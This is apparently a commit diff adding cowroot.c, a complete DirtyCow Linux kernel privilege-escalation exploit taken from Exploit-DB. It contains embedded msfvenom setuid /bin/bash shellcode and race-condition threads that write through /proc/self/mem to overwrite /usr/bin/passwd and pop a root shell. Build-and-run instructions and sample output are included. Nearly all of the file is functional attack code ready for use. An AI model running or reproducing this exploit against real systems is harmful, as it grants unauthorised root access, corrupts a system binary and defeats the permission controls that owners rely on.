1
+ /*
2
+ *
3
+ * EDB-Note: After getting a shell, doing "echo 0 > /proc/sys/vm/dirty_writeback_centisecs" may make the system more stable.
4
+ *
5
+ * (un)comment correct payload first (x86 or x64)!
6
+ *
7
+ * $ gcc cowroot.c -o cowroot -pthread
8
+ * $ ./cowroot
9
+ * DirtyCow root privilege escalation
10
+ * Backing up /usr/bin/passwd.. to /tmp/bak
11
+ * Size of binary: 57048
12
+ * Racing, this may take a while..
13
+ * /usr/bin/passwd is overwritten
14
+ * Popping root shell.
15
+ * Don't forget to restore /tmp/bak
16
+ * thread stopped
17
+ * thread stopped
18
+ * root@box:/root/cow# id
19
+ * uid=0(root) gid=1000(foo) groups=1000(foo)
20
+ */
21
+
22
+ #include <stdio.h>
23
+ #include <stdlib.h>
24
+ #include <sys/mman.h>
25
+ #include <fcntl.h>
26
+ #include <pthread.h>
27
+ #include <string.h>
28
+ #include <unistd.h>
29
+
30
+ void * map ;
31
+ int f ;
32
+ int stop = 0 ;
33
+ struct stat st ;
34
+ char * name ;
35
+ pthread_t pth1 ,pth2 ,pth3 ;
36
+
37
+ // change if no permissions to read
38
+ char suid_binary [] = "/usr/bin/passwd" ;
39
+
40
+ /*
41
+ * $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
42
+ */
43
+ unsigned char sc [] = {
44
+ 0x7f , 0x45 , 0x4c , 0x46 , 0x02 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
45
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x3e , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 ,
46
+ 0x78 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 ,
47
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
48
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x38 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 ,
49
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x07 , 0x00 , 0x00 , 0x00 ,
50
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 ,
51
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x40 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
52
+ 0xb1 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0xea , 0x00 , 0x00 , 0x00 ,
53
+ 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 ,
54
+ 0x48 , 0x31 , 0xff , 0x6a , 0x69 , 0x58 , 0x0f , 0x05 , 0x6a , 0x3b , 0x58 , 0x99 ,
55
+ 0x48 , 0xbb , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f , 0x73 , 0x68 , 0x00 , 0x53 , 0x48 ,
56
+ 0x89 , 0xe7 , 0x68 , 0x2d , 0x63 , 0x00 , 0x00 , 0x48 , 0x89 , 0xe6 , 0x52 , 0xe8 ,
57
+ 0x0a , 0x00 , 0x00 , 0x00 , 0x2f , 0x62 , 0x69 , 0x6e , 0x2f , 0x62 , 0x61 , 0x73 ,
58
+ 0x68 , 0x00 , 0x56 , 0x57 , 0x48 , 0x89 , 0xe6 , 0x0f , 0x05
59
+ };
60
+ unsigned int sc_len = 177 ;
61
+
62
+ /*
63
+ * $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
64
+ unsigned char sc[] = {
65
+ 0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
66
+ 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
67
+ 0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
68
+ 0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
69
+ 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
70
+ 0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
71
+ 0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
72
+ 0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
73
+ 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
74
+ 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
75
+ 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
76
+ 0x89, 0xe1, 0xcd, 0x80
77
+ };
78
+ unsigned int sc_len = 136;
79
+ */
80
+
81
+ void * madviseThread (void * arg )
82
+ {
83
+ char * str ;
84
+ str = (char * )arg ;
85
+ int i ,c = 0 ;
86
+ for (i = 0 ;i < 1000000 && !stop ;i ++ ) {
87
+ c += madvise (map ,100 ,MADV_DONTNEED );
88
+ }
89
+ printf ("thread stopped\n" );
90
+ }
91
+
92
+ void * procselfmemThread (void * arg )
93
+ {
94
+ char * str ;
95
+ str = (char * )arg ;
96
+ int f = open ("/proc/self/mem" ,O_RDWR );
97
+ int i ,c = 0 ;
98
+ for (i = 0 ;i < 1000000 && !stop ;i ++ ) {
99
+ lseek (f ,map ,SEEK_SET );
100
+ c += write (f , str , sc_len );
101
+ }
102
+ printf ("thread stopped\n" );
103
+ }
104
+
105
+ void * waitForWrite (void * arg ) {
106
+ char buf [sc_len ];
107
+
108
+ for (;;) {
109
+ FILE * fp = fopen (suid_binary , "rb" );
110
+
111
+ fread (buf , sc_len , 1 , fp );
112
+
113
+ if (memcmp (buf , sc , sc_len ) == 0 ) {
114
+ printf ("%s is overwritten\n" , suid_binary );
115
+ break ;
116
+ }
117
+
118
+ fclose (fp );
119
+ sleep (1 );
120
+ }
121
+
122
+ stop = 1 ;
123
+
124
+ printf ("Popping root shell.\n" );
125
+ printf ("Don't forget to restore /tmp/bak\n" );
126
+
127
+ system (suid_binary );
128
+ }
129
+
130
+ int main (int argc ,char * argv []) {
131
+ char * backup ;
132
+
133
+ printf ("DirtyCow root privilege escalation\n" );
134
+ printf ("Backing up %s.. to /tmp/bak\n" , suid_binary );
135
+
136
+ asprintf (& backup , "cp %s /tmp/bak" , suid_binary );
137
+ system (backup );
138
+
139
+ f = open (suid_binary ,O_RDONLY );
140
+ fstat (f ,& st );
141
+
142
+ printf ("Size of binary: %d\n" , st .st_size );
143
+
144
+ char payload [st .st_size ];
145
+ memset (payload , 0x90 , st .st_size );
146
+ memcpy (payload , sc , sc_len + 1 );
147
+
148
+ map = mmap (NULL ,st .st_size ,PROT_READ ,MAP_PRIVATE ,f ,0 );
149
+
150
+ printf ("Racing, this may take a while..\n" );
151
+
152
+ pthread_create (& pth1 , NULL , & madviseThread , suid_binary );
153
+ pthread_create (& pth2 , NULL , & procselfmemThread , payload );
154
+ pthread_create (& pth3 , NULL , & waitForWrite , NULL );
155
+
156
+ pthread_join (pth3 , NULL );
157
+
158
+ return 0 ;
159
+ }
0 commit comments